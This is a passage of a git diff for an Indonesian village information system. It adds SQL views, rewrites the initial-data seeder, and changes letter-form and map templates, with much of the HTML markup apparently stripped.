DB::statement( + 'CREATE VIEW penduduk_hidup AS SELECT * FROM tweb_penduduk WHERE status_dasar = 1' + ); + + DB::statement("CREATE VIEW `rekap_mutasi_inventaris` AS + SELECT 'inventaris_asset' AS asset, id_inventaris_asset, status_mutasi, jenis_mutasi, tahun_mutasi, keterangan FROM mutasi_inventaris_asset WHERE visible = 1 + UNION ALL SELECT 'inventaris_gedung', id_inventaris_gedung, status_mutasi, jenis_mutasi, tahun_mutasi, keterangan FROM mutasi_inventaris_gedung WHERE visible = 1 + UNION ALL SELECT 'inventaris_jalan', id_inventaris_jalan, status_mutasi, jenis_mutasi, tahun_mutasi, keterangan FROM mutasi_inventaris_jalan WHERE visible = 1 + UNION ALL SELECT 'inventaris_peralatan', id_inventaris_peralatan, status_mutasi, jenis_mutasi, tahun_mutasi, keterangan FROM mutasi_inventaris_peralatan WHERE visible = 1"); + + DB::statement("CREATE VIEW `daftar_kontak` AS + select `a`.`id_kontak` AS `id_kontak`,`a`.`id_pend` AS `id_pend`,`b`.`nama` AS `nama`,`a`.`no_hp` AS `no_hp`,(case when (`b`.`sex` = '1') then 'Laki-laki' else 'Perempuan' end) AS `sex`,`b`.`alamat_sekarang` AS `alamat_sekarang` + from (`kontak` `a` left join `tweb_penduduk` `b` on((`a`.`id_pend` = `b`.`id`)))"); + + DB::statement( + 'CREATE VIEW `daftar_anggota_grup` AS select `a`.`id_grup_kontak` AS `id_grup_kontak`,`a`.`id_grup` AS `id_grup`,`c`.`nama_grup` AS `nama_grup`,`b`.`id_kontak` AS `id_kontak`,`b`.`nama` AS `nama`,`b`.`no_hp` AS `no_hp`,`b`.`sex` AS `sex`,`b`.`alamat_sekarang` AS `alamat_sekarang` from ((`anggota_grup_kontak` `a` left join `daftar_kontak` `b` on((`a`.`id_kontak` = `b`.`id_kontak`))) left join `kontak_grup` `c` on((`a`.`id_grup` = `c`.`id_grup`)))' + ); + } +} diff --git a/donjo-app/models/seeders/Seeder.php b/donjo-app/models/seeders/Seeder.php index e6d388599..6b0f7ec62 100644 --- a/donjo-app/models/seeders/Seeder.php +++ b/donjo-app/models/seeders/Seeder.php @@ -1,489 +1,150 @@ -db) { + $this->session->unset_userdata(['db_error', 'message', 'heading', 'message_query', 'message_exception', 'sudah_mulai']); + } elseif (! $this->session->sudah_mulai) { + $this->session->unset_userdata(['db_error', 'message', 'heading', 'message_query', 'message_exception']); + $this->session->sudah_mulai = true; + } + + if ($this->session->db_error) { + return; + } + + $this->load->database(); + if (empty($this->db->list_tables())) { + $this->run(); + } + } + + public function run() + { + $this->load->helper('directory'); + + log_message('notice', 'Mulai memasang data awal'); + + // Hapus isi folder desa/cache + $dir = config_item('cache_path'); + + foreach (directory_map($dir) as $file) { + if ($file !== 'index.html') { + unlink($dir . DIRECTORY_SEPARATOR . $file); + } + } + + // Hapus file app_key + $file = DESAPATH . 'app_key'; + if (file_exists($file)) { + unlink($file); + } + + $this->load->model('seeders/data_awal_seeder', 'data_awal_seeder'); + $this->data_awal_seeder->run(); + + // Database perlu dibuka ulang supaya cachenya berfungsi benar setelah diubah + $this->db->close(); + $this->load->database(); + $this->load->model('database_model'); + $this->database_model->impor_data_awal_analisis(); + $this->database_model->cek_migrasi(true); + $this->isi_config(); + Migrasi::latest('id')->first()->delete(); + session_destroy(); + log_message('notice', 'Selesai memasang data awal'); + } + + // Kalau belum diisi, buat identitas desa jika kode_desa ada di file desa/config/config.php + private function isi_config() + { + if (! Schema::hasTable('config') || identitas() || empty($kode_desa = config_item('kode_desa')) || ! cek_koneksi_internet()) { + return; + } + + // Ambil data desa dari tracksid + $this->load->library('data_publik'); + $this->data_publik->set_api_url(config_item('server_pantau') . '/index.php/api/wilayah/kodedesa?token=' . config_item('token_pantau') . '&kode=' . $kode_desa, 'kode_desa'); + $data_desa = $this->data_publik->get_url_content(true); + + if ($data_desa->header->http_code != 200 || empty($data_desa->body)) { + set_session('error', "Kode desa {$kode_desa} di desa/config/config.php tidak ditemukan di " . config_item('server_pantau')); + } else { + $desa = $data_desa->body; + $data = [ + 'nama_desa' => nama_desa($desa->nama_desa), + 'kode_desa' => bilangan($kode_desa), + 'nama_kecamatan' => nama_terbatas($desa->nama_kec), + 'kode_kecamatan' => bilangan($desa->kode_kec), + 'nama_kabupaten' => ucwords(hapus_kab_kota(nama_terbatas($desa->nama_kab))), + 'kode_kabupaten' => bilangan($desa->kode_kab), + 'nama_propinsi' => ucwords(nama_terbatas($desa->nama_prov)), + 'kode_propinsi' => bilangan($desa->kode_prov), + 'nama_kepala_camat' => '', + 'nip_kepala_camat' => '', + ]; + if (Config::create($data)) { + set_session('success', "Kode desa {$kode_desa} diambil dari desa/config/config.php"); + + // Data awal + $this->load->model('migrations/data_awal', 'data_awal'); + $this->data_awal->up(); + } + } + } +} diff --git a/donjo-app/views/database/migrasi_cri.php b/donjo-app/views/database/migrasi_cri.php index e097263e5..eb7e0a808 100644 --- a/donjo-app/views/database/migrasi_cri.php +++ b/donjo-app/views/database/migrasi_cri.php @@ -37,21 +37,6 @@ - @@ -65,18 +50,94 @@ + + + + diff --git a/donjo-app/views/gis/maps.php b/donjo-app/views/gis/maps.php index 9b7205575..056fd9db8 100644 --- a/donjo-app/views/gis/maps.php +++ b/donjo-app/views/gis/maps.php @@ -302,7 +302,7 @@ }); for (var x = 0; x < jml; x++) { if (penduduk[x].lat || penduduk[x].lng) { - foto = 'Foto Penduduk'; + foto = `Foto Penduduk`; //Konten yang akan ditampilkan saat marker diklik content = @@ -382,19 +382,6 @@ function handle_kel(cb) { formAction('mainform_map', ''); } - function AmbilFoto(foto, ukuran = "kecil_", sex) { - //Jika penduduk ada foto, maka pakai foto tersebut - //Jika tidak, pakai foto default - if (foto) { - ukuran_foto = ukuran || null - file_foto = '' + ukuran_foto + foto; - } else { - file_foto = sex == '2' ? '' : ''; - } - - return file_foto; - } - function AmbilFotoLokasi(foto, ukuran = "kecil_") { ukuran_foto = ukuran || null file_foto = '' + ukuran_foto + foto; diff --git a/resources/views/admin/pengaturan_surat/kategori_sumber_data.blade.php b/resources/views/admin/pengaturan_surat/kategori_sumber_data.blade.php index d9ec34962..f5ecd45f2 100644 --- a/resources/views/admin/pengaturan_surat/kategori_sumber_data.blade.php +++ b/resources/views/admin/pengaturan_surat/kategori_sumber_data.blade.php @@ -12,7 +12,7 @@ @php $desa_pend = strtoupper(setting('sebutan_desa')) @endphp + + + + + + + + Data Pasangan + + + + + Jenis Kelamin @@ -133,8 +153,12 @@ Data Individu @php $desa_pend = strtoupper(setting('sebutan_desa')) @endphp - + + @@ -231,7 +255,7 @@ var num = 0; $('#btn-new-tab').click(function(e) { var checkInput = validateInputCategory($('#nama_kategori').val()) - console.log(checkInput); + // console.log(checkInput); if (checkInput == 'huruf') { $('#error_category').show() $('#error_category').text('Maksimal 20 huruf.') @@ -249,6 +273,7 @@ num++ e.preventDefault() var newTabId = 'tab-' + nama_kategori + var oldname, newname $("#form-utama").clone(true) .map(function() { editElm = $(this) @@ -260,26 +285,27 @@ var utama_delete_btn = editElm[0].querySelector('.utama-delete') utama_delete_btn.dataset.kategori = nama_kategori utama_delete_btn.classList.remove('hide') - console.log(utama_delete_btn); + // console.log(utama_delete_btn); var elsumberData = editElm[0].querySelector('.sumber-data') var elkodeIsian = editElm[0].querySelector('.kode-isian') + var elorangTua = editElm[0].querySelector('#orang-tua') + elorangTua.remove() + var elpasangan = editElm[0].querySelector('#data-pasangan') + elpasangan.remove() // console.log(elkodeIsian); if (elsumberData != null) { // console.log(321); - var selects = editElm[0].querySelectorAll('.sumber-data select.select2'); - - // Mengambil semua elemen - selectElements.forEach((elselect2) => { - // console.log(elselect2); - var oldname = elselect2.getAttribute('name') - if (oldname == 'data_utama') elselect2.disabled = true - elselect2.name = `kategori_${oldname}[${nama_kategori}]` + selects.forEach((elselect2) => { + oldname = elselect2.getAttribute('name') + newname = `kategori_${oldname}[${nama_kategori}]` + // if (oldname == 'data_utama') elselect2.disabled = true + elselect2.name = newname elselect2.classList.add('kategori') if (elselect2.classList.contains('select2')) { - console.log(123); + elselect2.classList.remove('select2') elselect2.classList.remove('select2-hidden-accessible') elselect2.classList.remove('required') @@ -293,36 +319,36 @@ } if (elkodeIsian != null) { var elganda = editElm[0].querySelector('#gandakan-0'); - console.log(elganda); + // console.log(elganda); // elganda.classList.remove('duplikasi'); elganda.classList.add('duplikasi-' + nama_kategori); elganda.classList.add('kategori'); elganda.id = 'gandakan-' + nama_kategori + '-0'; - console.log(elkodeIsian.querySelectorAll('tr.duplikasi')); + // console.log(elkodeIsian.querySelectorAll('tr.duplikasi')); // use foreach tr, jika itu tr pertama maka sesuaikan dengan tab data, jika bukan delete var trkode = elkodeIsian.querySelectorAll('tr.duplikasi'); trkode.forEach((tr, index) => { var kategori_isian = tr.querySelectorAll( '.kode-isian input, .kode-isian textarea, .kode-isian select, .kode-isian' ); - console.log(kategori_isian); + //// console.log(kategori_isian); if (index == 0) { kategori_isian.forEach((elselect2) => { // elselect2.name = `pilihan_kode[${counter + 1}][]` var oldname = elselect2.getAttribute('name') - console.log(oldname); + // console.log(oldname); if (oldname != null) { var fixname = oldname.replace(/[\[\]0]/g, ""); var fullname = `kategori_${fixname}[${nama_kategori}][]` - console.log(elselect2.classList) + // console.log(elselect2.classList) if (oldname == 'pilihan_kode[0][]') { fullname = `kategori_${fixname}[${nama_kategori}][0][]` if (elselect2.classList.contains( 'select2')) { - console.log(123); + // console.log(123); elselect2.classList.remove( 'select2') elselect2.classList.remove( @@ -347,11 +373,11 @@ var elbutton = editElm[0].querySelector('.tambah-kode') elbutton.dataset.type = 'gandakan-' + nama_kategori elbutton.dataset.kategori = nama_kategori - console.log(elbutton); + // console.log(elbutton); return editElm; }); // loadSelect() - console.log(editElm[0]); + //// console.log(editElm[0]); var newNavItem = $(`
  • ${nama_kategori.replace(/_/g, ' ')}
  • `); var inputHidden = $('').attr({ @@ -369,7 +395,7 @@ }); function loadSelect() { - console.log('load select'); + // console.log('load select'); $('.kategori').select2() } @@ -387,11 +413,11 @@ function hideModal() { function deleteTab(event) { var clicked = event.target; - console.log(clicked.dataset.kategori); + // console.log(clicked.dataset.kategori); var id = clicked.dataset.kategori $(`#tab-${id}`).remove() var ulElement = document.getElementsByClassName('customized-tab')[0]; - console.log(ulElement); + // console.log(ulElement); var liElements = ulElement.getElementsByTagName('li'); var activeLiElement = ulElement.querySelector('.active'); var activeLiIndex = Array.prototype.indexOf.call(liElements, activeLiElement); @@ -401,7 +427,7 @@ function deleteTab(event) { previousLiElement.classList.add('active'); } var prevName = previousLiElement.dataset.name - console.log(previousLiElement.dataset.name); + // console.log(previousLiElement.dataset.name); $(`#list-${id}`).remove() if (prevName == 'utama') { $(`#tab-${id}`).removeClass('active') diff --git a/resources/views/admin/surat/form_desa.blade.php b/resources/views/admin/surat/form_desa.blade.php index 4639894b0..46e3a2d3b 100644 --- a/resources/views/admin/surat/form_desa.blade.php +++ b/resources/views/admin/surat/form_desa.blade.php @@ -2,6 +2,16 @@ @extends('admin.layouts.index') +@push('css') + +@endpush + @section('title')

    Surat {{ ucwords($surat['nama']) }} @@ -108,8 +118,10 @@ class="fa fa-search-minus"> @endif - - @includeWhen(isset($pengikut), 'admin.surat.pengikut') + + @includeWhen(isset($pengikut), 'admin.surat.pengikut') + @includeWhen(isset($pengikut_kis), 'admin.surat.pengikut_kis') + @includeWhen(isset($pengikut_pindah), 'admin.surat.pengikut_pindah') @endif
    @@ -122,14 +134,87 @@ class="fa fa-search-minus"> @include('admin.surat.nomor_surat') + @if ($peristiwa) + @include('admin.surat.peristiwa') + @endif + + @if ($pasangan) + @php + $individu = $pasangan; + $list_dokumen = $list_dokumen_pasangan; + @endphp +
    + +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    + @include('admin.surat.konfirmasi_pemohon') + @endif + + @if ($ayah) + @php + $individu = $ayah; + $list_dokumen = $list_dokumen_ayah; + @endphp +
    + +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    + @include('admin.surat.konfirmasi_pemohon') + @endif + + @if ($ibu) + @php + $individu = $ibu; + $list_dokumen = $list_dokumen_ibu; + @endphp +
    + +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    + @include('admin.surat.konfirmasi_pemohon') + @endif + @include('admin.surat.kode_isian') {{-- kategori form --}} @if (isset($form_kategori)) @include('admin.surat.kategori_isian') -
    @endif +
    @include('admin.surat.form_tgl_berlaku') @include('admin.surat.form_pamong') diff --git a/resources/views/admin/surat/kategori_isian.blade.php b/resources/views/admin/surat/kategori_isian.blade.php index 10794b210..ec5072a2b 100644 --- a/resources/views/admin/surat/kategori_isian.blade.php +++ b/resources/views/admin/surat/kategori_isian.blade.php @@ -1,6 +1,29 @@ +@push('css') + +@endpush @foreach ($form_kategori as $key => $kategori)
    - +
    {{-- --}}
    -
    + {{--
    -
    +
    --}}
    + + @if ($kategori["saksi_{$key}"]) + @php + $individu = $kategori["saksi_{$key}"]; + $list_dokumen = $kategori["list_dokumen_{$key}"]; + @endphp + + @include('admin.surat.konfirmasi_pemohon') + @endif + {{-- kode isia kategori --}} @@ -121,7 +160,9 @@ class="btn btn-info btn-flat btn-sm col-sm-4 col-md-4 col-lg-3 form-check-label" return { q: params.term || '', // search term page: params.page || 1, - filter_sex: $(this).data('filter-sex') + filter_sex: $(this).data('filter-sex'), + surat: $(this).data('surat'), + kategori: $(this).data('kategori'), }; }, processResults: function(data, params) { @@ -151,5 +192,13 @@ class="btn btn-info btn-flat btn-sm col-sm-4 col-md-4 col-lg-3 form-check-label" placeholder: '-- Cari NIK / Tag ID Card / Nama Penduduk --', minimumInputLength: 0, }); + + function submit_form_ambil_data() { + $('input').removeClass('required'); + $('select').removeClass('required'); + $('#' + 'validasi').attr('action', ''); + $('#' + 'validasi').attr('target', ''); + $('#' + 'validasi').submit(); + } @endpush diff --git a/resources/views/admin/surat/konfirmasi_pemohon.blade.php b/resources/views/admin/surat/konfirmasi_pemohon.blade.php index cf5199bbb..1a5e1d37f 100644 --- a/resources/views/admin/surat/konfirmasi_pemohon.blade.php +++ b/resources/views/admin/surat/konfirmasi_pemohon.blade.php @@ -37,7 +37,7 @@
    -